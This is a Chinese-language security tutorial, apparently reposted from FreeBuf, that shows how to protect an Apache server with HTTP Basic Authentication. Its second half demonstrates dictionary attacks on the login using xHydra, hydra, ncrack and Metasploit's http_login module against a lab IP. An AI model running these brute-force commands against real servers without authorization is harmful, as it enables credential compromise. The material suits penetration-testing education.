• 移动端
    访问手机端
    官微
    访问官微

    搜索
    取消
    温馨提示:
    敬爱的用户,您的浏览器版本过低,会导致页面浏览异常,建议您升级浏览器版本或更换其他浏览器打开。

    技术分享|多种测试HTTP身份验证的方法

    来源:FreebuF.COM 2019-01-25 09:34:08 HTTP 身份验证 金融安全
         来源:FreebuF.COM     2019-01-25 09:34:08

    核心提示HTTP基础认证(BA)是实现对Web资源访问控制的一种最简单的技术,因为它不需要设计cookie、会话识别符或登录页面,HTTP基础认证是需要使用到HTTP头中的标准字段,而且还不需要进行握手。但是,BA机制不会为凭证的传输提供机密性保护。

      在这篇文章中,我们会告诉大家如何保护Apache Web服务器免受未经身份验证的用户非法访问,以及如何隐藏关键核心信息不被非法用户查看到。当然了,我们还会介绍如何利用这些安全缺陷来渗透目标服务器,相信这也是大家非常感兴趣的东西。

    技术分享|多种测试HTTP身份验证的方法

      HTTP基础认证(BA)

      在HTTP事务处理环境中,基础访问身份认证是HTTP用户代理在请求提供用户名和密码时需要使用到的一种安全方法。

      实际上,HTTP基础认证(BA)是实现对Web资源访问控制的一种最简单的技术,因为它不需要设计cookie、会话识别符或登录页面,HTTP基础认证是需要使用到HTTP头中的标准字段,而且还不需要进行握手。

      但是,BA机制不会为凭证的传输提供机密性保护。它只会在传输过程中对相关信息进行Base64编码,而不会采用任何形式的加密。因此,HTTPS通常需要结合BA一起使用。

      实验环境搭建

      1、 Apache服务器(Ubuntu 14.04)

      2、 渗透测试设备(Kali Linux)

      3、 设置密码认证

      4、 安装Apache实用工具包

      使用下列命令安装Apache2实用包:

      sudo apt-get install apache2 apache2-utils

    技术分享|多种测试HTTP身份验证的方法

      创建密码文件

      使用htpasswd命令创建密码文件,Apache将会用它来验证用户身份:

      sudo htpasswd -c /etc/apache2/.htpasswd raj

      cat /etc/apache2/.htpasswd

      gedit etc/apache2/sites-enabled/000-default.conf

    技术分享|多种测试HTTP身份验证的方法

      在虚拟主机设置中配置访问控制

      将下列配置内容保存到000-default.conf文件中:

      AuthType Basic

      AuthName "Restricted Content"

      AuthUserFile /etc/apache2/.htpasswd

      Require valid-user

    技术分享|多种测试HTTP身份验证的方法

      利用.htaccess文件配置访问控制

      打开Apache配置文件,修改.htaccess文件来启用密码保护,添加下列代码:

      sudo gedit /etc/apache2/apache2.conf

      ServerName localhost

    技术分享|多种测试HTTP身份验证的方法

      将AllowOverride参数修改为“All”,保存并重启Apache服务:

      Options Indexes FollowSymLinks

      AllowOverride All

      Require all granted

    技术分享|多种测试HTTP身份验证的方法

      现在,我们需要往受限目录中添加一个.htaccess文件。这里我们给整个网站添加限制,当然了,你也可以限制单独目录:

      sudo nano /var/www/html/.htaccess

      AuthType Basic

      AuthName "Restricted Content"

      AuthUserFile /etc/apache2/.htpasswd

      Require valid-user

      sudo service apache2 restart

    技术分享|多种测试HTTP身份验证的方法

      确认密码认证

      在浏览器中尝试访问受限资源,确认你的内容已受保护。这里会弹出如下所示的验证框:

    技术分享|多种测试HTTP身份验证的方法

      如果你访问的内容没有弹出认证窗,或者你取消了认证页面,那你将会看到401未授权访问错误。

    技术分享|多种测试HTTP身份验证的方法

      输入正确的用户名和密码之后,你就应该可以访问网站内容了:

    技术分享|多种测试HTTP身份验证的方法

    技术分享|多种测试HTTP身份验证的方法

      利用HTTP认证漏洞 xHydra

      这是一款通过FTP端口和字典攻击入侵系统的图形化工具,在Kali中打开xHydra,选择“Single Target option”,设置目标IP,其他按下图勾选:

    技术分享|多种测试HTTP身份验证的方法

      Passwords标签页配置如下,配置好字典文件:

    技术分享|多种测试HTTP身份验证的方法

      切换到Start标签,点击“Start”,可以看到字典攻击的进度以及最终的结果:

    技术分享|多种测试HTTP身份验证的方法

      Hydra

      Hydra可以针对50种协议进行快速的字典攻击,其中包括telnet、ftp、http、https、smb以及多种数据库。操作命令如下:

      hydra -L user.txt -P pass.txt 192.168.0.105 http-get

    技术分享|多种测试HTTP身份验证的方法

      Ncrack

      Ncrack是一款高速网络认证破解工具,它可以帮助企业测试网络安全情况,并识别弱密码。操作命令如下:

      ncrack -U user.txt -P pass.txt http://192.168.0.105

    技术分享|多种测试HTTP身份验证的方法

      Metasploit

      下面这个模块可以对HTTP认证服务进行攻击,打开Kali终端,输入“msfconsole”,然后输入下列命令:

      use auxiliary/scanner/http/http_login

      msf auxiliary(scanner/http/http_login) > set user_file user.txt

      msf auxiliary(scanner/http/http_login) > set pass_file pass.txt

      msf auxiliary(scanner/http/http_login) > set rhosts 192.168.0.105

      msf auxiliary(scanner/http/http_login) > set stop_on_success

      msf auxiliary(scanner/http/http_login) > exploit

    技术分享|多种测试HTTP身份验证的方法

      后记

      希望这篇文章的内容可以帮助大家了解HTTP弱配置的安全风险,并帮助大家更好地提升自己网站的安全性。

    责任编辑:韩希宇

    免责声明:

    中国电子银行网发布的专栏、投稿以及征文相关文章,其文字、图片、视频均来源于作者投稿或转载自相关作品方;如涉及未经许可使用作品的问题,请您优先联系我们(联系邮箱:cebnet@cfca.com.cn,电话:400-880-9888),我们会第一时间核实,谢谢配合。

    为你推荐

    猜你喜欢

    收藏成功

    确定